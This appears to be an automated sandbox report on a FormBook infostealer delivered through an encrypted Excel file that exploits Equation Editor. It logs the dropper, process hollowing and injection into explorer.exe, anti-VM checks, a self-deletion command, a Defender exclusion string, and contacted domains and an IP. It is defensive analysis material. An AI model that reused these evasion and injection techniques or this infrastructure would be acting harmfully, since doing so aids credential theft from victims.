Source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: svchost[1].exe.2.dr

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: svchost[1].exe.2.dr, MediaManager/ued25ue5ebuf66euf7c8ue0bcue41duf2c7uf2d1ueb0eue9d6uf56auf25b.cs	Cryptographic APIs: 'CreateDecryptor'
Source: svchost[1].exe.2.dr, MediaManager/ued25ue5ebuf66euf7c8ue0bcue41duf2c7uf2d1ueb0eue9d6uf56auf25b.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.0.vbc.exe.fa0000.0.unpack, MediaManager/ued25ue5ebuf66euf7c8ue0bcue41duf2c7uf2d1ueb0eue9d6uf56auf25b.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.0.vbc.exe.fa0000.0.unpack, MediaManager/ued25ue5ebuf66euf7c8ue0bcue41duf2c7uf2d1ueb0eue9d6uf56auf25b.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 4.2.vbc.exe.fa0000.2.unpack, MediaManager/ued25ue5ebuf66euf7c8ue0bcue41duf2c7uf2d1ueb0eue9d6uf56auf25b.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 4.2.vbc.exe.fa0000.2.unpack, MediaManager/ued25ue5ebuf66euf7c8ue0bcue41duf2c7uf2d1ueb0eue9d6uf56auf25b.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.2.vbc.exe.fa0000.5.unpack, MediaManager/ued25ue5ebuf66euf7c8ue0bcue41duf2c7uf2d1ueb0eue9d6uf56auf25b.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 5.2.vbc.exe.fa0000.5.unpack, MediaManager/ued25ue5ebuf66euf7c8ue0bcue41duf2c7uf2d1ueb0eue9d6uf56auf25b.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 5.0.vbc.exe.fa0000.0.unpack, MediaManager/ued25ue5ebuf66euf7c8ue0bcue41duf2c7uf2d1ueb0eue9d6uf56auf25b.cs	Cryptographic APIs: 'CreateDecryptor'
Source: 5.0.vbc.exe.fa0000.0.unpack, MediaManager/ued25ue5ebuf66euf7c8ue0bcue41duf2c7uf2d1ueb0eue9d6uf56auf25b.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: explorer.exe, 00000006.00000000.2177618159.0000000003C40000.00000002.00000001.sdmp

Binary or memory string: .VBPud<_

Source: classification engine

Classification label: mal100.troj.expl.evad.winXLSX@9/20@2/2

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$CMACGM-XIN SHANGHAI -08M91W1MA-TRISK-QAHMD.xlsx

Jump to behavior

Source: C:\Users\Public\vbc.exe

Mutant created: \Sessions\1\BaseNamedObjects\DqrWboELX

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRFA93.tmp

Jump to behavior

Source: C:\Users\Public\vbc.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\7582400666d289c016013ad0f6e0e3e6\mscorlib.ni.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\Public\vbc.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: Select * from Clientes WHERE id=@id;;
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: Select * from Aluguel Erro ao listar Banco sql-Aluguel.INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonType WHERE id=@id;
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonType WHERE modelo=@modelo;
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Itens_Aluguel VALUES(@aluguelID, @aviaoID, @validade);
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: Insert into Clientes values (@nome, @cpf, @rg, @cidade, @endereco, @uf, @telefone);
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO Aluguel VALUES(@clienteID, @data);
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: INSERT INTO SecurityLogonType VALUES(@modelo, @fabricante, @ano, @cor);
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: Select * from SecurityLogonTypeErro ao listar Banco sql-SecurityLogonType,Select from SecurityLogonType WHERE id=@id;Select * from SecurityLogonType WHERE (modelo LIKE @modelo)

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE 'C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\netsh.exe C:\Windows\SysWOW64\netsh.exe
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\Public\vbc.exe'
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\Public\vbc.exe'	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\Public\vbc.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: CMACGM-XIN SHANGHAI -08M91W1MA-TRISK-QAHMD.xlsx

Static file information: File size 1434624 > 1048576

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source:	Binary string: netsh.pdb source: vbc.exe, 00000005.00000002.2207091115.0000000000811000.00000004.00000020.sdmp
Source:	Binary string: wntdll.pdb source: vbc.exe, netsh.exe

Source: CMACGM-XIN SHANGHAI -08M91W1MA-TRISK-QAHMD.xlsx

Initial sample: OLE indicators vbamacros = False

Source: CMACGM-XIN SHANGHAI -08M91W1MA-TRISK-QAHMD.xlsx

Initial sample: OLE indicators encrypted = True

Source: C:\Users\Public\vbc.exe	Code function: 4_2_00458873 push eax; retf 0017h	4_2_00458874
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00454566 push esp; retf 0017h	4_2_00454567
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004589D0 push esp; retf 0017h	4_2_004589D1
Source: C:\Users\Public\vbc.exe	Code function: 4_2_00454789 pushad ; retf 0017h	4_2_0045478A
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004587B7 push esp; retf 0017h	4_2_004587B8
Source: C:\Users\Public\vbc.exe	Code function: 4_2_004527B0 push esi; ret	4_2_004527B2
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041D069 push esi; ret	5_2_0041D067
Source: C:\Users\Public\vbc.exe	Code function: 5_2_004080F7 pushad ; retf	5_2_004080FC
Source: C:\Users\Public\vbc.exe	Code function: 5_2_004169CD push ecx; iretd	5_2_004169D4
Source: C:\Users\Public\vbc.exe	Code function: 5_2_004289F7 pushfd ; iretd	5_2_004289F8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_004169F6 push eax; iretd	5_2_004169F7
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041DA38 push esi; ret	5_2_0041D067
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0040E2FF push ds; retf	5_2_0040E326
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041DA97 push esi; ret	5_2_0041D067
Source: C:\Users\Public\vbc.exe	Code function: 5_2_00417ABB push ebx; iretd	5_2_00417ABC
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041833A push cs; retf	5_2_0041833D
Source: C:\Users\Public\vbc.exe	Code function: 5_2_004164C5 push es; retf	5_2_004164CA
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041D4FB push esi; ret	5_2_0041D067
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041D5C9 push esi; ret	5_2_0041D067
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041CEF2 push eax; ret	5_2_0041CEF8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041CEFB push eax; ret	5_2_0041CF62
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041CEA5 push eax; ret	5_2_0041CEF8
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041CF5C push eax; ret	5_2_0041CF62
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041D7F1 push esi; ret	5_2_0041D067
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041CF89 push esi; ret	5_2_0041D067
Source: C:\Users\Public\vbc.exe	Code function: 5_2_0041CF96 push esi; ret	5_2_0041D067
Source: C:\Users\Public\vbc.exe	Code function: 5_2_008FDFA1 push ecx; ret	5_2_008FDFB4
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D1DFA1 push ecx; ret	7_2_00D1DFB4
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_0009D069 push esi; ret	7_2_0009D067
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_000880F7 pushad ; retf	7_2_000880FC
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_0008E2FF push ds; retf	7_2_0008E326

Source: initial sample

Static PE information: section name: .text entropy: 7.68491225485

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\Public\vbc.exe			Jump to dropped file
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\svchost[1].exe			Jump to dropped file

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Boot Survival:

Drops PE files to the user root directory

Show sources

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

File created: C:\Users\Public\vbc.exe

Jump to dropped file

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Show sources

Source: explorer.exe

User mode code has changed: module: USER32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x85 0x5E 0xE5

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Source: CMACGM-XIN SHANGHAI -08M91W1MA-TRISK-QAHMD.xlsx

Stream path 'EncryptedPackage' entropy: 7.99983938788 (max. 8.0)

Malware Analysis System Evasion:

Yara detected AntiVM3

Show sources

Source: Yara match	File source: 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: vbc.exe PID: 2336, type: MEMORY

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Show sources

Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: WINE_GET_UNIX_FILE_NAME
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: SBIEDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Show sources

Source: C:\Users\Public\vbc.exe	RDTSC instruction interceptor: First address: 00000000004098E4 second address: 00000000004098EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\Public\vbc.exe	RDTSC instruction interceptor: First address: 0000000000409B4E second address: 0000000000409B54 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\netsh.exe	RDTSC instruction interceptor: First address: 00000000000898E4 second address: 00000000000898EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\netsh.exe	RDTSC instruction interceptor: First address: 0000000000089B4E second address: 0000000000089B54 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Users\Public\vbc.exe

Code function: 5_2_00409A80 rdtsc

5_2_00409A80

Source: C:\Users\Public\vbc.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 2628	Thread sleep time: -240000s >= -30000s	Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 2364	Thread sleep time: -104467s >= -30000s	Jump to behavior
Source: C:\Users\Public\vbc.exe TID: 2928	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe TID: 1664	Thread sleep time: -50000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe

Last function: Thread delayed

Source: C:\Users\Public\vbc.exe	Thread delayed: delay time: 104467			Jump to behavior
Source: C:\Users\Public\vbc.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: explorer.exe, 00000006.00000000.2191793558.00000000001F5000.00000004.00000020.sdmp	Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000006.00000000.2178483576.0000000004234000.00000004.00000001.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 00000006.00000000.2178522395.0000000004263000.00000004.00000001.sdmp	Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}ies
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: SOFTWARE\VMware, Inc.\VMware Tools
Source: explorer.exe, 00000006.00000000.2178483576.0000000004234000.00000004.00000001.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II!Add-MpPreference -ExclusionPath "
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: VMWARE
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: InstallPath%C:\PROGRAM FILES\VMWARE\VMWARE TOOLS\
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: VMWARE"SOFTWARE\VMware, Inc.\VMware ToolsLHARDWARE\DEVICEMAP\Scsi\Scsi Port 1\Scsi Bus 0\Target Id 0\Logical Unit Id 0LHARDWARE\DEVICEMAP\Scsi\Scsi Port 2\Scsi Bus 0\Target Id 0\Logical Unit Id 0'SYSTEM\ControlSet001\Services\Disk\Enum
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: VMware SVGA II
Source: vbc.exe, 00000004.00000002.2169503612.00000000024A6000.00000004.00000001.sdmp	Binary or memory string: vmwareNSYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000
Source: explorer.exe, 00000006.00000000.2191836237.0000000000231000.00000004.00000020.sdmp	Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0&E}

Source: C:\Users\Public\vbc.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\Public\vbc.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\Public\vbc.exe

Code function: 5_2_00409A80 rdtsc

5_2_00409A80

Source: C:\Users\Public\vbc.exe

Code function: 5_2_0040ACC0 LdrLoadDll,

5_2_0040ACC0

Source: C:\Users\Public\vbc.exe	Code function: 5_2_009026F8 mov eax, dword ptr fs:[00000030h]		5_2_009026F8
Source: C:\Windows\SysWOW64\netsh.exe	Code function: 7_2_00D226F8 mov eax, dword ptr fs:[00000030h]		7_2_00D226F8

Source: C:\Users\Public\vbc.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\Public\vbc.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Show sources

Source: C:\Windows\explorer.exe	Domain query: www.glendalesocialmediaagency.com
Source: C:\Windows\explorer.exe	Domain query: www.switchfinder.com
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80	Jump to behavior

Injects a PE file into a foreign processes

Show sources

Source: C:\Users\Public\vbc.exe

Memory written: C:\Users\Public\vbc.exe base: 400000 value starts with: 4D5A

Jump to behavior

Maps a DLL or memory area into another process

Show sources

Source: C:\Users\Public\vbc.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Section loaded: unknown target: C:\Windows\SysWOW64\netsh.exe protection: execute and read and write	Jump to behavior
Source: C:\Users\Public\vbc.exe	Section loaded: unknown target: C:\Windows\SysWOW64\netsh.exe protection: execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write	Jump to behavior

Modifies the context of a thread in another process (thread injection)

Show sources

Source: C:\Users\Public\vbc.exe	Thread register set: target process: 1388			Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Thread register set: target process: 1388			Jump to behavior

Queues an APC in another process (thread injection)

Show sources

Source: C:\Users\Public\vbc.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Show sources

Source: C:\Users\Public\vbc.exe

Section unmapped: C:\Windows\SysWOW64\netsh.exe base address: 13B0000

Jump to behavior

Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE	Process created: C:\Users\Public\vbc.exe 'C:\Users\Public\vbc.exe'	Jump to behavior
Source: C:\Users\Public\vbc.exe	Process created: C:\Users\Public\vbc.exe C:\Users\Public\vbc.exe	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\Public\vbc.exe'	Jump to behavior

Source: explorer.exe, 00000006.00000000.2172205471.00000000006F0000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000006.00000000.2172205471.00000000006F0000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000006.00000000.2191793558.00000000001F5000.00000004.00000020.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000006.00000000.2172205471.00000000006F0000.00000002.00000001.sdmp	Binary or memory string: !Progman

Source: C:\Users\Public\vbc.exe

Queries volume information: C:\Users\Public\vbc.exe VolumeInformation

Jump to behavior

Source: C:\Users\Public\vbc.exe

Code function: 4_2_0045A238 GetUserNameA,

4_2_0045A238

Source: C:\Users\Public\vbc.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings:

Uses netsh to modify the Windows network and firewall settings

Show sources

Source: C:\Windows\explorer.exe

Process created: C:\Windows\SysWOW64\netsh.exe C:\Windows\SysWOW64\netsh.exe

Stealing of Sensitive Information:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2206934673.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2206743064.00000000000F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2371354059.0000000000180000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2371384803.00000000001B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2169703300.0000000003489000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Show sources

Source: Yara match	File source: 00000005.00000002.2207008330.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2206934673.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2371233155.0000000000080000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2206743064.00000000000F0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2371354059.0000000000180000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2371384803.00000000001B0000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2169703300.0000000003489000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 5.2.vbc.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.vbc.exe.400000.1.raw.unpack, type: UNPACKEDPE

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Shared Modules1	Path Interception	Process Injection612	Rootkit1	Credential API Hooking1	Security Software Discovery221	Remote Services	Credential API Hooking1	Exfiltration Over Other Network Medium	Encrypted Channel1	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Exploitation for Client Execution13	Boot or Logon Initialization Scripts	Extra Window Memory Injection1	Masquerading111	LSASS Memory	Process Discovery2	Remote Desktop Protocol	Archive Collected Data11	Exfiltration Over Bluetooth	Ingress Tool Transfer12	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Disable or Modify Tools11	Security Account Manager	Virtualization/Sandbox Evasion31	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol2	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Virtualization/Sandbox Evasion31	NTDS	Account Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol122	SIM Card Swap		Carrier Billing Fraud
